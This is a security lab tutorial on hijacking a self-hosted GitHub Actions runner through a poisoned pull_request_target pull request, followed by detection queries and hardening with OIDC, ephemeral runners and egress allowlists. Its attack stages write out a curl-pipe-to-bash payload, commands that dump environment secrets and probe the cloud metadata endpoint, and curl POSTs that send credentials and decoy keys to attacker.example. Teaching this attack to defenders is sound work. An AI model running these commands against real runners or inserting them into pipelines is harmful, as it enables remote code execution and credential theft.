A self-hosted runner hijack happens when attacker-controlled code executes on your CI infrastructure—typically via a poisoned pull request using pull_request_target—and persists on a runner that looks ephemeral but isn’t, exfiltrating secrets from the environment before anyone notices. This lab reproduces that attack safely on your own hardware, then fixes it with OIDC federation, egress controls, and safer workflow patterns.
Why Self-Hosted Runners Are a High-Value Target
Traditional CI security has a well-established playbook: pin dependencies, rotate credentials, scan artifacts. Self-hosted GitHub Actions runners throw most of that out the window. Unlike GitHub-hosted runners—which are provisioned fresh, isolated in ephemeral VMs, and destroyed after every job—self-hosted runners are machines you own, often long-lived, often reused across jobs, and often sitting inside your corporate network with line-of-sight to internal services.
That combination creates three compounding risks:
- Persistence. A compromised self-hosted runner keeps its state between jobs. Malware, modified runner binaries, or planted cron jobs survive reboots. GitHub explicitly warns that self-hosted runners should not be used with untrusted workflows—the machine may be compromised permanently after a single malicious job.
- Network position. A runner in your VPC can reach internal APIs, databases, cloud metadata endpoints (169.254.169.254), and staging systems that no GitHub-hosted runner could touch. You’re not just losing a build box—you’re handing an attacker a foothold inside the perimeter.
- Secrets exposure. Repository secrets,
GITHUB_TOKENcredentials, Docker registry logins, and cloud keys are all injected into the runner environment at job time. On a persistent machine, environment dumps and cache directories linger on disk.
Scoping matters enormously here. Org-level runners can be claimed by any repository in the organization that’s allowed to use them—meaning a compromise in a low-value public repo pivots to every pipeline in your org. Repo-level runners contain the blast radius to a single repository. For anything touching untrusted code, repo-level scoping is the only sane default.
CISA and NSA guidance on CI/CD supply chain security (September 2023) flags exactly this pattern: shared, persistent build infrastructure combined with third-party code execution is one of the highest-probability compromise paths in modern software delivery.
Lab Architecture and Prerequisites
This lab is deliberately self-contained. You are attacking infrastructure you own—never point these techniques at repositories you don’t control.
- Runner host: One Linux VM or Docker container (Ubuntu 22.04+). A container is fine for the lab, but note that real-world runners are often bare metal—part of the problem.
- GitHub repo or organization: A private test repo (private avoids accidental exposure and keeps the
GITHUB_TOKENscope discussion realistic). - Decoy secrets: Two repository secrets, e.g.,
DECOY_AWS_KEYandDECOY_API_TOKEN, with fake but realistic-looking values. - Tooling:
ghCLI (authenticated), Docker, the GitHub Actions runner package, and a simple egress listener (Netcat or a Python HTTP server) to act as the “attacker” collection endpoint. - Optional egress proxy: Squid or an iptables ruleset to enforce allowlists in the hardening phase.
Setting Up the Vulnerable Pipeline
- Register a self-hosted runner. In your repo: Settings → Actions → Runners → New self-hosted runner. Download, configure with the provided token, and install as a service (this is what real orgs do—and what enables persistence). Skip the
--ephemeralflag for now; you’ll add it during hardening. - Create the vulnerable workflow at
.github/workflows/vulnerable.yml:
name: Vulnerable PR Check
on: pull_request_target
jobs:
build:
runs-on: self-hosted
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
repository: ${{ github.event.pull_request.head.repo.full_name }}
- run: make ci
env:
DECOY_AWS_KEY: ${{ secrets.DECOY_AWS_KEY }}
DECOY_API_TOKEN: ${{ secrets.DECOY_API_TOKEN }}
This is the canonical anti-pattern: the workflow runs in the context of the base repository (so it has access to secrets), but the checkout step pulls the attacker-controlled head ref. Whatever make ci resolves to in the PR is executed with full secret access.
- Add a Makefile on the main branch so the pipeline runs clean for legitimate PRs.
Attack Stage 1: The Poisoned Pull Request
The attacker (you, in a second account or fork) submits a PR from a fork containing one change—a malicious Makefile:
ci:
curl -s https://attacker.example/shell.sh | bash
Because pull_request_target fires automatically for fork PRs (no approval required by default for first-time contributors unless you’ve enabled it), the workflow triggers on the base repo’s runner, checks out the fork’s code, and executes the fork’s Makefile. No exploit chain, no dependency confusion—just a workflow configuration bug. This exact pattern has enabled takeovers of well-known open-source projects and is catalogued by OWASP in its CI/CD security guidance (part of the Top 10 CI/CD Security Risks, based on the OmniSCAD research from 2022).
Attack Stage 2: Runner Persistence and Recon
Inside the job, the attacker now runs with the runner service account’s privileges. Recon in a real hijack looks like this:
# Dump the environment — secrets arrive as env vars
env | grep -Ei 'aws|token|secret|key' > /tmp/recon.txt
# Check GITHUB_TOKEN scope
curl -s -H "Authorization: Bearer $ACTIONS_RUNTIME_TOKEN"
https://api.github.com/repos/owner/repo
# Cloud metadata? Only if the runner sits in a cloud VPC — check it
curl -s -m 2 http://169.254.169.254/latest/meta-data/iam/info
# What else can this box reach?
ss -tunlp; cat /etc/hosts; ip route
Because the runner was installed as a persistent service (not --ephemeral), the attacker can also plant a persistence mechanism—a modified runner binary, a systemd unit, or a reverse shell launched detached from the job. In a CTF context, simulate persistence with a backgrounded listener writing to your egress endpoint rather than an actual reverse shell; the detection telemetry is identical.
Attack Stage 3: Secret Exfiltration
Point your “attacker” listener at a second machine or an ngrok tunnel, then exfiltrate from the job:
# Dump secrets and caches to attacker endpoint
tar czf /tmp/loot.tgz /tmp/recon.txt ~/.docker/config.json
/home/runner/_work/_temp 2>/dev/null
curl -X POST --data-binary @/tmp/loot.tgz https://attacker.example/collect
curl -X POST -d "$DECOY_AWS_KEY|$DECOY_API_TOKEN"
https://attacker.example/keys
Your listener log will show the POST with the decoy values. In a real intrusion, this is where cached npm credentials, Docker registry tokens, and cloud keys walk out the door—often with no alert at all, because outbound HTTPS from a build server looks like every other build.
Detecting Runner Compromise: Blue-Team Telemetry
Detection hinges on correlating three signal classes:
- Audit log anomalies. Watch
workflow_runevents paired withpull_request_targettriggers from forked repos, andrunners.registered/runner_group_changedevents you didn’t initiate. Repeated runner re-registrations from the same machine is a classic persistence signature. - Workflow log indicators. Grep Actions logs for unexpected
curl/wgetto non-vendor domains, base64 blobs in run commands, and jobs on self-hosted runners triggered bypull_request_targetfrom first-time forks. - Host telemetry. On the runner itself: child processes spawned by the runner service that aren’t build tools, outbound connections to unclassified IPs, and modifications under the runner install directory.
A practical Sentinel/Splunk-style query skeleton against GitHub audit logs:
github_audit_data
| where operation in ("runners.registered","runners.removed")
| summarize reg_count=count() by actor, bin(TimeGenerated, 1h)
| where reg_count > 3
GitHub’s own audit log event reference and CISA’s CI/CD guidance both recommend alerting on runner lifecycle events—most orgs never log them at all.
Hardening 1: Replace Long-Lived Secrets with OIDC
The single highest-leverage fix: stop storing cloud credentials as Actions secrets. GitHub’s OIDC provider lets workflows mint short-lived tokens that your cloud provider exchanges for a role session via a trust policy—no static keys anywhere.
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: self-hosted
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/ci-deploy
aws-region: us-east-1
The trust policy scopes federation to your repo and workflow:
{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:owner/repo:ref:refs/heads/main"
}
}
}
With OIDC, a hijacked runner yields at most a token valid for minutes, scoped to one role—dramatically shrinking the exfiltration payoff.
Hardening 2: Egress Controls and Runner Isolation
- Runners with
--ephemeral. The flag deregisters the runner after a single job, eliminating cross-job persistence. Pair with autoscaling (e.g., ARC on Kubernetes, or an AWS EC2 autoscaling fleet) so ephemeral runners are genuinely fresh VMs. - One runner per job, one repo per runner pool. Never share untrusted-code runners with production deploy runners.
- Egress allowlists. Firewalled runners should reach exactly: github.com, objects.githubusercontent.com, your package registries, and your cloud APIs. Deny 169.254.169.254 via IMDSv2 hop limits on AWS, and alert on everything else.
- Network segmentation. Put runners in a dedicated subnet with no route to production databases or internal admin planes.
Hardening 3: Safer Workflow Patterns
- Never combine
pull_request_targetwith a checkout of the head ref. If you must run privileged workflows on PRs, check out the base ref only and treat PR code as data, never as instructions. - Require approval for first-time contributors (Settings → Actions → General → Fork pull request workflows).
- Gate privileged workflows with environment protection rules and CODEOWNERS, so deploys require explicit review.
- Route untrusted builds to GitHub-hosted runners. Let GitHub eat the risk for fork PRs; reserve self-hosted capacity for trusted, post-merge workloads.
Cleanup, Checklist, and CTF Flag Ideas
Tear down the lab: delete the workflow, remove the runner (./config.sh remove), revoke the runner registration token, delete decoy secrets, and destroy the VM/container—don’t snapshot a compromised box back into your template library.
Printable hardening checklist:
- ☐ All self-hosted runners run with
--ephemeral - ☐ No
pull_request_target+ head-ref checkout anywhere - ☐ First-time contributor approval enabled
- ☐ Cloud credentials replaced with OIDC federation
- ☐ Egress allowlist enforced and logged
- ☐ Runners repo-scoped, not org-scoped, for untrusted code
- ☐ Audit log alerts on runner registration events
- ☐ IMDSv2 / metadata endpoint blocked on cloud runners
CTF flag ideas for organizers: hide a flag in a decoy secret recovered via the poisoned PR (Stage 3); award a second flag for detecting the simulated persistence from blue-team audit logs; and a bonus flag for the first team to harden the pipeline so the same PR no longer executes. This structure trains both red and blue muscles in a single exercise.
Frequently Asked Questions
Is running untrusted PR code on a self-hosted runner ever safe?
No—not for public repositories, and not as a standing practice. If you must execute untrusted code, do it on GitHub-hosted runners or fully isolated, ephemeral infrastructure with approval gates enabled. Assume any job running third-party code compromises its host permanently.
Why is pull_request_target dangerous?
Because it runs in the context of the base repository—with access to its secrets—while many workflows then check out the attacker-controlled head ref and execute code from the fork. You’ve combined privileged credentials with attacker-supplied instructions in a single job.
How does OIDC replace stored cloud credentials in Actions?
GitHub mints a short-lived OIDC token per job; your cloud provider’s IdP validates it against a trust policy scoped to your repo and workflow, then issues a temporary role session. No long-lived keys exist to steal, and stolen tokens expire in minutes.
Should I use org-level or repo-level self-hosted runners?
Repo-level for anything touching untrusted code. Org-level runners expose every repository in the organization to a single compromised runner—turning one hijacked public-repo build into an org-wide pivot.
What is the –ephemeral flag for runners?
It configures the runner to deregister itself after completing one job, so no machine state, sessions, or registration survive between runs—closing the persistence door that makes self-hosted runner hijacks so damaging.
Related reading
- Hands-On Syft and Grype Lab: Generate an SBOM and Scan Container Images for Vulnerable Dependencies
- Weekly Threat Intel: MCP Tool-Poisoning Incidents, Fall 2026 Firmware CVEs, and Stealer Log Markets
